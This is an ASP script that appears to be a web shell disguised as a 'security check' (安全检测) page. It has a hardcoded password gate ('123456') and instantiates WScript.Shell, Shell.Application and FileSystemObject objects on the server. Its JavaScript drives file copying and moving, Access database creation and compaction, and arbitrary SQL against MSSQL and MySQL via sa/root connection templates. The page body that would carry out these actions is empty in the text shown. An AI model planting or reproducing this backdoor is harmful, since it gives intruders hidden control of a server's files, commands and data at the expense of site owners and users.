<%
dim ApplicationName,Pass,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW

Server.ScriptTimeout=50000
On Error Resume Next
ApplicationName = "安全检测"
UserPass        = "123456"   
URL             = Request.ServerVariables("URL")
ServerNM        = Request.ServerVariables("SERVER_NAME")
ServerIP        = Request.ServerVariables("LOCAL_ADDR")
Action          = Request("Action")
RootPath        = Server.MapPath(".")
WWWRoot         = Server.MapPath("/")
FolderPath      = Request("FolderPath")
FName           = Request("FName")
BackUrl         = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"

If Request("Pass")=UserPass then Session("webadmin")=UserPass
If Session("webadmin")<>UserPass Then
  If Request.Form("Pass")<>"" Then
    If Request.Form("Pass")=UserPass Then
      Session("webadmin")=UserPass
      Response.Redirect URL
    Else
	 Response.Write"验证失败！"
    End If
  Else
    RW="<center style='font-size:12px'><br><br>"
    RW=RW & "<form action='" & URL & "' method='post'>"
    RW=RW & "<input name='Pass' type='password' size='15' style='font-size: 12px;border: menu 1px solid'>"
    RW=RW & "&nbsp;<input type='submit' value='' style='border-width: 1px'></form></center>"
    Response.Write RW
    RW=""
  End If
  Response.End
End If%>
<object runat='server' id='ws' scope='page' classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8'></object>
<object runat='server' id='ws' scope='page' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<object runat='server' id='fso' scope='page' classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object>
<object runat='server' id='sa' scope='page' classid='clsid:13709620-C279-11CE-A49E-444553540000'></object>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=ApplicationName&" - "&ServerIP%></title>
<style type="text/css">
<!--
  body,td {font-size: 12px;}
  body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
    <%If Action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%>}  
  input,select,textarea {font-size: 12px;}
  .border{border: menu 1px solid;}
  .submit{border-width: 1px;}
  a {color: black;text-decoration: none;}
-->
</style>
<script language="javascript">
  function yesok(){
    if (confirm("确认要执行此操作吗？"))
		return true;
	else
		return false;
    }

  function ShowFolder(Folder){
    top.addrform.FolderPath.value = Folder;
    top.addrform.submit();
    }

  function FullForm(FName,FAction){
    top.hideform.FName.value = FName;
	if(FAction=="CopyFile"){
	    DName = prompt("请输入复制到目标文件全名称",FName);
	    top.hideform.FName.value += "||||"+DName;
	}else if(FAction=="MoveFile"){
	    DName = prompt("请输入移动到目标文件全名称",FName);
	    top.hideform.FName.value += "||||"+DName;
    }else if(FAction=="CopyFolder"){
	    DName = prompt("请输入移动到目标文件夹全名称",FName);
	    top.hideform.FName.value += "||||"+DName;
    }else if(FAction=="MoveFolder"){
	    DName = prompt("请输入移动到目标文件夹全名称",FName);
	    top.hideform.FName.value += "||||"+DName;
	}else if(FAction=="NewFolder"){
	    DName = prompt("请输入要新建的文件夹全名称",FName);
	    top.hideform.FName.value = DName;
	}else if(FAction=="CreateMdb"){
	    DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名！",FName);
        top.hideform.FName.value = DName;
	}else if(FAction=="CompactMdb"){
	    DName = prompt("请输入要压缩的Mdb文件全名称,注意文件是否存在！",FName);
        top.hideform.FName.value = DName;
	}else{
	    DName = "Other"; 
	}
	
	if(DName!=null){
      top.hideform.Action.value = FAction;
      top.hideform.submit();
	}else{
      top.hideform.FName.value = "";
	}
  }
  
  function DbCheck(){
    if(DbForm.DbStr.value == ""){
	  alert("请先连接数据库");
	  FullDbStr(0);
	  return false;
	}
	return true;
  }
  
  function FullDbStr(i){
   if(i<0){
     return false;
   }
    Str = new Array(12);  
	Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<%=RePath(Session("FolderPath"))%>\\DbName.mdb;Jet OLEDB:Database Password=***";
	Str[1] = "Driver={Sql Server};Server=<%=ServerIP%>,1433;Database=DbName;Uid=sa;Pwd=****";
	Str[2] = "Driver={MySql};Server=<%=ServerIP%>;Port=3306;Database=DbName;Uid=root;Pwd=****";
	Str[3] = "Dsn=DsnName";
	Str[4] = "SELECT * FROM [TableName] WHERE ID<100";
	Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')";
	Str[6] = "DELETE FROM [TableName] WHERE ID=100";
	Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100";
	Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
	Str[9] = "DROP TABLE [TableName]";
	Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
	Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS";
	Str[12]= "当只显示一条数据时即可显示字段的全部字节，可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
	if(i<=3){
	  DbForm.DbStr.value = Str[i];
	  DbForm.SqlStr.value = "";
	  SFSO.innerHTML="<center>请确认己连接数据库再输入SQL操作命令语句。</center>";
	}else if(i==12){
	  alert(Str[i]);
	}else{
	  DbForm.SqlStr.value = Str[i];
	}
	return true;
  }
  
  function FullSqlStr(str,pg){
    if(DbForm.DbStr.value.length<5){
	  alert("请检查数据库连接串是否正确!")
	  return false;
	}
    if(str.length<10){
	  alert("请检查SQL语句是否正确!")
	  return false;
	}
    DbForm.SqlStr.value = str ;
	DbForm.Page.value = pg;
	SFSO.innerHTML="";
	DbForm.submit();
    return true;
  }

function CheckAll(){
  for (var i=0;i<DownId.length;i++) DownId[i].checked=!DownId[i].checked;
}
function Url(){   
  for (var i=0;i<DownId.length;i++)
 {
  if (DownId[i].checked==true) 
  {      
    temp.value+=DownId[i].value+"\n";
  }
 }
  if (temp.value=="") 
  { 
    window.alert("你还没有选择要下载的地址！");
    return false;}
  else
  { 
    js=temp.createTextRange();
    js.execCommand("Copy");
    temp.value="";
    window.alert("复制完毕！记得在复制之前打开下载工具监视剪贴板。");
   }
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body onmouseover="window.status='Powered by:山居笔记 ';return true">
<%%>
</body>
</html>
</body>
